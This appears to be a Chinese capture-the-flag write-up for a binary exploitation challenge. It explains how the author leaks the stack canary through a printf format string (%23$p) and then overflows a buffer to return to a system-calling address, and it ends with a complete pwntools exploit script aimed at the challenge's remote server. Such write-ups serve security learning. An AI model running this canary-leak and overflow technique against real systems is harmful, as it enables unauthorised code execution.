讲道理 这个 其实 感觉有两个方法
两种方法 都要调用一下 第一个 printf函数
第一个是 我们第一个可以 用printf 然后hook掉got的printf 不知道好不好实现 自己搜索了 资料 也没有发现
第二个 就是观察栈了 。。。。。。。
这里有个保护
就是
readfsqword 在 ida 的f5看的不是很清楚 我们 看 汇编窗口的代码
只有 rax 和fs:28h 两个值相等的时候 顺利的返回值 要不然 会调用 另一个 函数
那么 我们那个 比较值 又在 溢出点上面 这就肯定不能随便输入了 可以 把这个原本的值 找出来 然后写回去
这里 我们看看 2那个函数
看的出来 他也有这个 readfsqword 这个函数 那么 我们经过调试 发现
那个点 在 2那里 是 23*8 的地方(相对输入 ) 在1的地方是 17*8 的地方
然后 本来我还以为 他们这个是定值 后来我发现 这个只是一个地址 地址 是随机的
那么 这个 printf 就可以利用一下 把 我们的 那个 地址 打印出来 然后就可以 把这个利用了
那么可以写出exp
from pwn import*
from time import*
io=remote('111.198.29.45','30114')
system_addr=p64(0x4008de)
io.sendlineafter('3. Exit the battle \n','2')
#io.recv()
io.sendline('%23$p')
sleep(0.3)
io.recvuntil('0x')
ss=io.recv(16)
pp=int(ss,16)
pp=p64(pp)
io.sendline('1')
p='a'*17*8+pp+'a'*8+system_addr
io.sendline(p)
print io.recv()
print io.recv()
print io.recv()
得出flag